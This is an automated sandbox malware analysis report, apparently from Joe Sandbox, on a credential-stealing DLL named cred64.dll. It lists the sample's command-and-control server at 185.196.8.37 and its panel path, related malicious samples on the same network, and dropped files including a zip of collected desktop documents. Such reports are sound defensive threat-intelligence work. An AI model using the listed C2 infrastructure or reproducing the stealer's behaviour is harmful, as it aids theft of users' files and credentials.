http://185.196.8.37/Gd85kkjf/index.php?wal=1=	rundll32.exe, 00000006.00000002.1514598239.000001E8C7BC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.196.8.37/Gd85kkjf/index.php?wal=1XyH	rundll32.exe, 00000007.00000002.1518302251.000001631547B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.196.8.37/Gd85kkjf/index.php?wal=1es5	rundll32.exe, 00000006.00000002.1514598239.000001E8C7BC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.196.8.37/ds	rundll32.exe, 00000006.00000002.1514598239.000001E8C7BC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000016.00000002.1401642278.00000191B37F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.196.8.37/Gd85kkjf/index.php%	rundll32.exe, 00000007.00000002.1518302251.000001631547B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.196.8.37/lorer_RecentFilesl	rundll32.exe, 00000007.00000002.1518302251.0000016315491000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.196.8.37/Gd85kkjf/index.php#	rundll32.exe, 00000007.00000002.1518302251.000001631547B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.m	powershell.exe, 00000016.00000002.1572082555.00000191CB91E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.196.8.37/Gd85kkjf/index.php?wal=1s	rundll32.exe, 00000006.00000002.1514598239.000001E8C7BC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000E.00000002.1356866325.000002C91ECF8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA83D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1401642278.00000191B37F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000016.00000002.1556863024.00000191C3645000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000E.00000002.1356866325.000002C920496000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1419781847.0000025AB8226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA9A8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1556863024.00000191C3645000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.196.8.37/t%	rundll32.exe, 00000006.00000002.1514598239.000001E8C7BC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 0000000E.00000002.1356866325.000002C91EAD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA81B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1401642278.00000191B35D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.196.8.37/Gd85kkjf/index.php?wal=1b	rundll32.exe, 00000007.00000002.1518302251.000001631549F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.196.8.37/Gd85kkjf/index.php?wal=1(	rundll32.exe, 00000007.00000002.1518302251.000001631549F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000E.00000002.1356866325.000002C91EAD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1355712953.0000025AA81B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1401642278.00000191B35D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.196.8.37/Gd85kkjf/index.php?wal=1rer	rundll32.exe, 00000007.00000002.1518302251.000001631549F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.196.8.37/	rundll32.exe, 00000006.00000002.1514598239.000001E8C7BC0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1518302251.0000016315491000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.196.8.37	unknown	Switzerland		34888	SIMPLECARRER2IT	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1620559
Start date and time:	2025-02-21 01:51:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	cred64.dll.dll (renamed file extension from exe to dll)
Original Sample Name:	cred64.dll.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winDLL@32/22@0/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 4 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.175.87.197
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6944 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:52:21	API Interceptor	62x Sleep call for process: powershell.exe modified
19:52:22	API Interceptor	1x Sleep call for process: loaddll64.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.196.8.37	qzpTLn4c4B.exe	Get hash	malicious	Amadey	Browse	185.196.8.37/Gd85kkjf/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SIMPLECARRER2IT	cpainject.txt.ps1	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.208.159.170
	Th2M2e7ZfY.exe	Get hash	malicious	Quasar	Browse	185.208.159.150
	https://steamescommnunity.com/s/10429109537	Get hash	malicious	Unknown	Browse	185.208.158.242
	https://steamecomrmunity.com/s/10423910953	Get hash	malicious	Unknown	Browse	185.208.158.242
	http://account.turnkeycashsite.com/	Get hash	malicious	Unknown	Browse	185.208.159.7
	BUDDA.exe	Get hash	malicious	Unknown	Browse	185.196.8.253
	selavi.exe	Get hash	malicious	Unknown	Browse	185.196.8.253
	wow.exe	Get hash	malicious	Amadey, GhostRat, GuLoader, LummaC Stealer, XWorm, Xmrig	Browse	185.196.8.34
	z2ecqrLizP.exe	Get hash	malicious	PureCrypter, AsyncRAT	Browse	185.208.159.240
	z2ecqrLizP.exe	Get hash	malicious	PureCrypter, AsyncRAT	Browse	185.208.159.240

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6146
Entropy (8bit):	7.7949601883616895
Encrypted:	false
SSDEEP:	96:gYx6IAzIcCJjMOLPPVjMOLPPjIy84RaN++3jkyFYnPvNQLwnq2nPvNQLwnq20Vu:vxKjCJvPNvP8y8Yatkx9E+ln9E+leu
MD5:	FFA1B7486EC340D9890A5E8D2465B6E8
SHA1:	EF7AB985B977D7DB25BDB02DEAD0058C7CF4EDF0
SHA-256:	82A1DA4F8433B62568CE31F37A5A52119311EBBBD2651E8F5B9106B8E15D38AD
SHA-512:	A3DF784D76236FA35D163A6143BF5FBD1BD481DAE65131CCBEC7D252B75FFACB669A01180BC2584F4A308B39AC20C0B85AD7AF9243247451992445DCC373B791
Malicious:	true
Preview:	PK.........3EW4............._Files_\NVWZAPQSQL.xlsx..In@1.C..z....d&...........Z.......3..T...Kfsn..h.9..3A.5%.Nek..?pG!....BDNJ...,7.P.g..9.z.....,......G..}.r.......&..l..q...+..cL..<...j...[..g.O.0......-.)..o...%...W.:..N....t]..vH1.;;.6..\|a. ..hA..qxP..08..).5....X...{...?.GGW.%y..GV:.x...7.\|.....x.j8..G.....oi}{...:.]5g...[...Z........s.....C...=\|...\|..GF]..P..y.HER\|3....S_.9En...5.....N..~W(.f.d)....M....tMu..)...$.^............Z...a7".....n?.N!.\p./.p...!;..t...n...B......K....LQ&...).0..!W.2..s_.\|m>!..Q...\....A..e..r...a4B..j../.W...L.5?r.Z.@\|.r.W...P..j:+..X.U...u....A.......o..]....]4..zr..#..iy.......e4{.ffM.....6P^(<.~^...^-..W.l..j:]....PK.........3EW..............._Files_\PIVFAGEAAV.docx..G.E!...#.C...d...d."d..E.b....\|j...I.3...Q-]?.8.h.0.Y.#...9.0.:o..D.rH\|F..T.T.e..~......I.uu.............s..k.#7.E.M5pV..wY;/!-.c.>ZQ....\..Xj.....-........1Uq.,}.L..Xd..;.k..j?t./9........U...aM...?.T.....0..D..3..`g....u.H...{.E.Xb

C:\Users\user\AppData\Local\Temp\_Files_\NVWZAPQSQL.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\Local\Temp\_Files_\PIVFAGEAAV.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\Temp\_Files_\QCFWYSKMHA.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702247102869977
Encrypted:	false
SSDEEP:	24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5
MD5:	B734D7226D90E4FD8228EE89C7DD26DA
SHA1:	EDA7F371036A56A0DE687FF97B01F355C5060846
SHA-256:	ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6
SHA-512:	D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC20
Malicious:	false
Preview:	QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGSSHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQLAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTFXXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVBOXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTRQWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPHZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMPTDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNERMNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEVKEVEUUSGEQJDKGYLPIDXNBIPBAJRUU

C:\Users\user\AppData\Local\Temp\_Files_\QCFWYSKMHA.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702247102869977
Encrypted:	false
SSDEEP:	24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5
MD5:	B734D7226D90E4FD8228EE89C7DD26DA
SHA1:	EDA7F371036A56A0DE687FF97B01F355C5060846
SHA-256:	ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6
SHA-512:	D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC20
Malicious:	false
Preview:	QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGSSHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQLAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTFXXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVBOXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTRQWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPHZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMPTDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNERMNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEVKEVEUUSGEQJDKGYLPIDXNBIPBAJRUU

C:\Users\user\AppData\Local\Temp\_Files_\QNCYCDFIJJ.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6980379859154695
Encrypted:	false
SSDEEP:	24:A1cICRRGh4wXAyCbnhdKjiaeD+ICv1Ka42P:0cIYRGh4wXyny+VEV42P
MD5:	4E3F4BE1B97FA984F75F11D95B1C2602
SHA1:	C34EB2BF97AB4B0032A4BB92B9579B00514DC211
SHA-256:	59176791FFEBB86CD28FF283F163F0A44BEC33273968AADFF3852F383F07D1E1
SHA-512:	DD9C44C85AF10ED76900A2FE9289D28D99FB56CBE5385A46E485BE0F97A3EA7B119FE3235F334D84FA15902EA78F43C334424240B834D272849356421A33B207
Malicious:	false
Preview:	QNCYCDFIJJXXFOBBXUZWOFUQSSNNMFYIDILWLHTAZLHLJONMCDCVNCVXWBMUFJZAFKEEPNXZDYZJCSPOAMORBEETMACWAZGGTOXJCHTDTMVBHRPTLBCYZORACSZOXJZRVMZHVEOODGKJRRYLCKUFAYOXVKWJMPRNRNPZEPQZONIUXPPIZMRKSMXAPWYEFYYMMEVAXOVEZSPBEJXENHLIHXQMWJRNUJFILZBVCHZGSXSCZDLUJYAIEMFAKMGZRGVOACZDULPMTHUOBPJBMVYTDCJXFDPUECDSDSUEAFWGDFBMYZQEFBBNQHNIAZWLZMSUFKUWZABFJATHSHQHDIAVRZTRYPZQQLMBOTPFBQKJDTMNKBJAFYFAYVOMBSWHOBUQSYEBLHEDVKQNGPPYYDHQTDNFMKYJBWQRTHICJRWSTTREOOBMYGBUCHFDYMGHVLBDKHYWLYGTEDTHOSIOSXLWGESBKVKNDNLHUVLLUBIQJIAQTVGZHJBFRBPSLHGPZGCZVLETNOSXQRRSQJBXTKDASBHEZXYVHEIZXGANNJHMIMQYHDFNNALGZYXGCPYFPYZSCSPKUMVVWIRDXSMSGEKGZNWWWVXGTXWDKSTXVLHRXFELLCWRSIFVJLOUVSMBXWSHSPQZUHHYPANCFLOAYKMMBXMIXYFORAFUEVNVTQFWGSCJZEOHRNDHLLFYLQFOZXARKDDGYWBOFNOCUJWZALYSUEUOMQHCYTBHPYEDSSAKKDECQAZIWWHOJPIMNYUNNZPDBNECENBWFCTSDYUMRCXDFCNYFVTFUUWRGBGWUGZTYCTBQVNAVSKZCNNOJNXDSQUTVJLYJMHLQJJBPEDZOTOVFCJLUVQVIEYTFNEEDHKMXTEKAIHTQBGOPUGKWWNQTAGBHAUZVKMHWVZTYKYOWJYFEGCIPREWFGAHFXDMSFOAYRDJCTSGYNSDSELZDMIXRNFGOTYBEUKLAOAVMHJKZEBGSCQHGCDZCAAGIVBGWEQA

C:\Users\user\AppData\Local\Temp\_Files_\SQSJKEBWDT.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\Local\Temp\_Files_\SUAVTZKNFL.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYD